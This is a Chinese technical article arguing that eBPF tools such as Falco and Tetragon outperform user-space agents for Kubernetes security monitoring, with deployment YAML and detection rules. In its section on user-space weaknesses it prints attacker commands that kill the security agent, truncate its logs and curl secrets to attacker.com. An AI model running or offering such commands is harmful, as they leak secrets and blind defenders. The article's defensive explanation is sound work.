内核级真相:为何eBPF正在取代用户空间代理用于安全可观测性

TL;DR · AI 摘要
eBPF通过在内核层直接附加探针,为安全可观测性提供了用户空间代理无法匹敌的可见性和防护能力,即使攻击者获得容器root权限也无法禁用内核探针,同时可降低60-80%的安全相关CPU开销。
核心要点
- eBPF探针直接附加在Linux内核系统调用接口上,禁用探针需要逃逸到主机内核,这比运行`kill -9`困难得多
- 用单一eBPF代理替换多层用户空间安全代理可节省60-80%的安全相关CPU开销,因为过滤在内核完成而非按GB付费的SIEM中
- Falco和Tetragon已可投入生产使用,无需编写内核代码即可开始部署eBPF安全监控
结构提纲
按章节快速跳转。
- §引言
容器逃逸攻击因日志边车被杀死而完全未被发现,暴露了用户空间安全代理与被监控工作负载共享同一权限级别的根本性弱点。
用户空间安全代理与攻击者处于同一权限级别,容器中的root权限可以杀死代理、截断日志,并通过memfd_create()执行无文件攻击。
eBPF无需内核模块即可实现内核级仪表化,将探针直接附加到系统调用边界,容器级攻击者无法触及。
用eBPF替换用户空间代理可将安全相关CPU消耗减少60-80%,并通过在内核进行过滤大幅减少遥测数据量。
- §实施策略
分阶段推出eBPF安全方案:先观察、再告警、最后执行,避免过早执行规则导致生产服务中断。
思维导图
用一张图看清主题之间的关系。
查看大纲文本(无障碍 / 无 JS 友好)
- eBPF Security Observability
- User-Space Limitations
- Same privilege level as attacker
- Can be killed with kill -9
- High CPU overhead
- eBPF Advantages
- Kernel-level instrumentation
- Cannot be disabled from container
- 60-80% CPU savings
- Implementation
- Phase: Observe → Alert → Enforce
- Tools: Falco, Tetragon
金句 / Highlights
值得收藏与分享的关键句。
应用级日志依赖于被监控进程的配合。受损进程可以杀死自己的看门狗、重写日志,或 simply 跳过生成日志。
禁用eBPF探针需要逃逸到主机内核,这比运行`kill -9`困难得多。
用单一eBPF代理替换多层用户空间安全代理可将安全相关CPU消耗减少60-80%。
核心要点
- 应用程序级日志依赖于被监控进程的配合。已被攻陷的进程可以杀死自己的监控程序、重写日志,或者直接跳过日志生成。您的安全可见性不应取决于攻击者是否愿意被观察。
- eBPF 直接挂载到 Linux 内核的系统调用接口,即使攻击者在容器内拥有 root 权限也能保持可见性。禁用 eBPF 探针需要逃逸到主机内核,这比运行
kill -9要困难得多。 - 用单个基于 eBPF 的代理替换多个用户空间安全代理可以将安全相关的 CPU 消耗降低 60-80%,并且由于过滤发生在内核而不是在按 GB 收费的 SIEM 中,遥测数据量会急剧下降。
- 分阶段推出 eBPF 安全方案:首先观察,其次告警,最后强制执行。直接跳到强制执行可能会在凌晨 3 点收到告警,因为检测规则导致您的支付服务中断。
- Falco(CNCF 毕业项目)和 Tetragon(Cilium 子项目)目前已准备好用于生产环境。您不需要编写内核代码即可开始使用。
引言
去年我正在调查一个事后分析报告,涉及一起容器逃逸事件,该事件在一个生产 Kubernetes 集群中完全未被检测到。安全团队调出仪表板,翻阅日志,却没有发现任何有用的信息。原来攻击者的第一步就是杀死了日志 sidecar。此后的所有行为都不可见。
这次攻击本身并不特别巧妙。监控栈存在一个结构性缺陷:代理与其要监控的目标共享用户空间。在容器中获得 root 意味着可以对代理执行 kill -9,对日志文件执行 truncate,然后为所欲为。通过 memfd_create() 实现的 无文件有效载荷从不会触及文件系统。进程注入隐藏在代理已信任的二进制文件后面。日志层是整个设置中最薄弱的目标。
那篇报告促使我认真研究 eBPF。每个进程,无论是否恶意,都必须跨越系统调用边界来打开文件、连接网络或派生子进程。eBPF 允许您在内核本身内部对那个边界进行插桩,而容器级别的攻击者根本无法触及它。
本文涵盖基于 eBPF 的安全监控架构、如何在不破坏生产的情况下逐步推出、规模化部署的成本分析,以及目前值得您投入时间的工具。
用户空间安全代理的问题
与威胁处于同一特权级别
大多数 Kubernetes 安全监控以 sidecar 容器或 DaemonSets 的形式运行,基本上是与它们监控的工作负载共存的用户空间进程。
/filters:no_upscale()/articles/ebpf-for-security-observability/en/resources/213figure-1-1778825396491.jpg)
图 1:传统的基于 sidecar 的安全监控。代理与其监控的工作负载共享相同的特权边界。(原图由作者提供)
这种架构有一个根本性问题:安全代理和攻击者处于同一级别。在容器中获得 root 后,攻击者可以:
$ kill -9 $(pgrep security-agent)
$ truncate -s 0 /var/log/agent/*.log
$ curl http://attacker.com/exfil -d @/etc/secrets永远不会触发任何告警,因为代理在任何有趣的事情发生之前就已经死了。
CPU 税
用户空间代理也会带来真实的成本。为了检查网络流量,它们会将连接代理通过自身,这意味着每个数据包会多次跨越用户-内核边界。再加上日志序列化、解析和传输,很容易因为安全开销而失去集群 CPU 的相当一部分。我见过一些集群,监控栈消耗的资源比它保护的多个服务还要多。
攻击者知道什么
有能力的对手会专门针对这些漏洞发起攻击。memfd_create() 允许代码在内存中执行而从不触及文件系统,所以文件完整性监控看不到任何东西。进程注入隐藏在代理已经忽略的受信任二进制文件后面。日志规避利用恶意活动和日志发送之间的时间窗口来删除证据。监控层是技能熟练的攻击者首先要清除的目标,而当前的架构使这变得很容易。
eBPF 如何改变局面
简而言之
eBPF 允许您在 Linux 内核内部运行沙箱化程序,而无需编写内核模块。最初是一种数据包过滤机制(因此称为 "Berkeley Packet Filter"),现代的扩展版本是一个通用的内核插桩框架。对安全而言重要的是三点:
- 内置的验证器在加载时静态分析每个 eBPF 程序,证明它不会崩溃内核、访问未授权的内存或无限循环。如果验证失败,程序永远不会运行。零运行时成本,零内核崩溃风险。
- eBPF 程序在内核上下文中执行,直接访问内核数据结构。没有用户-内核上下文切换,没有代理开销。
- 您可以挂载到数千个内核函数、系统调用、网络事件和跟踪点。
验证器值得单独说明
在内核中运行自定义代码让人们感到紧张,而对于内核模块来说这种紧张是有道理的。有缺陷的模块可能会导致机器崩溃。eBPF 的验证器完全消除了那种故障模式。它遍历字节码中所有可能的执行路径,并检查终止保证、内存边界、函数调用限制和栈深度(上限为 512 字节)。全部是静态分析,全部在程序加载之前完成。
验证器是故意严格的。它会拒绝那些实际上安全但对其来说过于复杂而无法证明正确的程序。任何使用过 eBPF 的人都会遇到这个问题。你最终会为了满足验证器而重构完全有效的代码。但正是这种保守主义,使得 Meta、Google 和 Netflix 能够在大规模生产内核中运行 eBPF。
探针的位置
为了安全起见,eBPF 程序附着在系统调用接口上,这是每个进程执行特权操作时必须跨越的边界。
/filters:no_upscale()/articles/ebpf-for-security-observability/en/resources/160figure-2-1778825396491.jpg)
图 2:eBPF 探针位于系统调用接口。每个进程,包括攻击者的进程,都必须跨越这个边界。(原始图由作者提供)
当任何进程调用 connect()、execve() 或 open() 时,探针会捕获系统调用参数、进程/线程 ID、容器 ID、Kubernetes pod 元数据、用户 ID、权限以及父进程链。由于探针运行在内核上下文中,容器内拥有 root 权限的攻击者需要逃逸到主机内核才能篡改它。这与杀死用户空间进程是完全不同类别的问题。
成本故事
那些用单个基于 eBPF 的代理替换多代理用户空间安全栈的组织报告称,安全工作负载的 CPU 减少了 60-80%。
/filters:no_upscale()/articles/ebpf-for-security-observability/en/resources/135figure-3-1778825396491.jpg)
图 3:用户空间安全代理与 eBPF 内核级监控的开销对比。(原始图由作者提供)
还有一个数据量的角度。用户空间代理会将每条日志、连接事件和文件访问发送到集中平台,摄入后大部分数据都会被丢弃。使用 eBPF,筛选发生在内核中,因此只有真正重要的事件才会离开节点。SIEM 摄入成本减少的程度因工作负载而异,但对大多数工作负载来说都是相当可观的。
内核兼容性
对生产安全重要的功能在内核 4.15 到 5.7 之间陆续推出:
| 功能 | 最低内核版本 | 描述 | |------|-------------|------| | 基础追踪 | 4.1 | kprobes、uprobes | | 系统调用追踪 | 4.6 | 基于 tracepoint 的系统调用监控 | | 容器感知 | 4.15 | 基于 cgroup 的筛选 | | BTF(类型信息)| 5.2 | 可移植 eBPF 程序 | | bpf_send_signal | 5.3 | 从 eBPF 终止进程 | | LSM 钩子 | 5.7 | 安全策略执行 |
大多数生产级 Kubernetes 发行版都附带 5.4+ 版本,所以内核支持很少是阻碍因素。值得检查一下你的特定节点,但我还没有在任何当前版本的发行版上遇到过内核版本问题。
滚动部署而不破坏生产
不要直接跳到强制执行。那条路径会导致误报杀死生产进程,然后进行一场非常尴尬的事后分析。
/filters:no_upscale()/articles/ebpf-for-security-observability/en/resources/95figure-4-1778825396491.jpg)
图 4:分阶段部署:观察、告警,然后强制执行。基于信心程度推进,而不是基于日期。(原始图由作者提供)
阶段一:观察和学习
以被动模式部署一个 eBPF 代理(Falco 或 Tetragon)作为 DaemonSet。代理观察所有系统调用但不阻止任何东西。你需要主机级访问和内核调试挂载:
spec:
hostPID: true
hostNetwork: true
containers:
- name: agent
image: falcosecurity/falco-no-driver:latest
securityContext:
privileged: true
volumeMounts:
- name: bpf-fs
mountPath: /sys/fs/bpf
- name: kernel-debug
mountPath: /sys/kernel/debug
readOnly: trueFalco 的 Helm chart 处理完整的 DaemonSet 配置。对于首次部署,从这里开始。
在这个阶段,你正在建立基线:每个服务运行哪些二进制文件、它建立哪些网络连接、它访问哪些文件、正常的进程树是什么样的。将事件流式传输到廉价的归档存储,而不是你的实时分析平台。一旦你的基线在几个部署周期内稳定下来,就进入下一阶段。
阶段二:对异常发出告警
现在根据基线编写检测规则。这是行为检测,而不是特征匹配。你正在寻找偏离你认为正常的东西。
一个用于支付服务中意外进程执行的 Falco 规则:
- rule: Unexpected Process in Payment Service
desc: Detect execution of binaries not in the approved list
condition: >
spawned_process and
container.name startswith "payment-" and
not proc.name in (java, jcmd, jstat)
output: >
Unexpected process executed in payment container
(user=%user.name container=%container.name
process=%proc.name cmdline=%proc.cmdline
parent=%proc.pname)
priority: WARNING
tags: [container, process, payment]还有一个用于元数据服务访问的规则,这几乎总是麻烦的迹象:
- rule: Container Accessing Cloud Metadata Service
desc: Detect attempts to access instance metadata
condition: >
outbound and
fd.sip = "169.254.169.254" and
container.id != host
output: >
Container attempted metadata service access
(container=%container.name pod=%k8s.pod.name
namespace=%k8s.ns.name dest=%fd.sip)
priority: CRITICAL
tags: [network, cloud, metadata]在这个阶段要花时间真正调优。审查每个告警,了解误报,抑制已知良好的模式。只有在告警量可控且你已经针对已知攻击场景验证了规则之后,才进入强制执行阶段。
阶段三:强制执行
工具:Falco、Tetragon 和供应商
Falco 是大多数团队的最佳起点。它是一个 CNCF 毕业项目,拥有庞大的社区、活跃的开发团队,以及多年的生产环境验证经验。它通过 eBPF 挂接到系统调用接口,并基于 YAML 规则引擎对事件进行评估。默认规则集映射到 MITRE ATT&CK,覆盖了反向 shell、容器逃逸、敏感路径访问等内容。
我认为 Falco 最有价值的地方在于它为事件附加的 Kubernetes 上下文。"进程 X 调用 connect() 连接到 169.254.169.254"与"'prod' 命名空间中的 'payment-api' pod 试图访问云元数据服务"之间的区别,就是十五分钟的交叉查证和立即可操作的告警之间的区别。
对于主动 enforcement 场景(需要在恶意系统调用完成前终止进程),请关注 Tetragon。它是 Cilium 的子项目,在内核中同步应用策略。代价是社区规模较小,且与 Cilium 栈耦合更紧密。Sysdig、Datadog 和 Wiz 等商业供应商也基于 eBPF 重建了他们的代理。如果你已经在使用其中之一,在添加新工具之前请先检查你已经拥有哪些 eBPF 功能。
保护 eBPF 部署本身
eBPF 程序在内核中以提升的权限运行,因此不要忽视部署的安全性。加载程序需要 CAP_BPF(或 5.8 之前的内核上的 CAP_SYS_ADMIN)。如果必须的话,从特权容器开始,然后收紧到最小权限,通常是 CAP_BPF、CAP_PERFMON 和 CAP_SYS_RESOURCE。除此之外:
- 锁定哪些服务账户可以部署提升权限的容器
- 使用准入控制器(OPA Gatekeeper、Kyverno)将特权工作负载限制在安全命名空间中
- 监控该命名空间的未授权更改
- 将代理镜像固定到已验证的摘要,而不是可变标签
验证器负责字节码安全性。运维安全性取决于你自己。
结论
应用层日志不会消失。你仍然需要它来调试业务逻辑和追踪通过服务网格的请求。但在安全领域,对手的首要行动是禁用你的 instrumentation,你需要在他们难以触及的层面进行监控。
eBPF 提供了这一点。无论应用程序做什么都能持续存在的系统调用级可见性、位于内核中的 instrumentation(容器级入侵无法触及),以及比用户空间代理低得多的开销。
如果你想亲自体验:在 staging 集群上以仅观察模式部署 Falco。花三十分钟查看它捕获的事件。你的当前监控显示的内容与 eBPF 在系统调用层面揭示的内容之间的差距,比我在这里写的任何东西都能更好地说明问题。如果你已经在生产环境中运行基于 eBPF 的安全工具,分享你的经验。这个领域流通的真实运维知识还远远不够。
关于作者

#### Niranjan Sharma
Niranjan Kumar Sharma 是一位专注于云基础设施和平台安全的软件工程师。他从事基于 Kubernetes 的大规模平台设计和运维工作,特别关注网络安全、可观测性和安全多租户架构。Niranjan 为云原生生态系统中的开源项目做出了贡献,并撰写关于基础设施安全模式的文章。在 LinkedIn 上与他联系。
显示更多 显示更少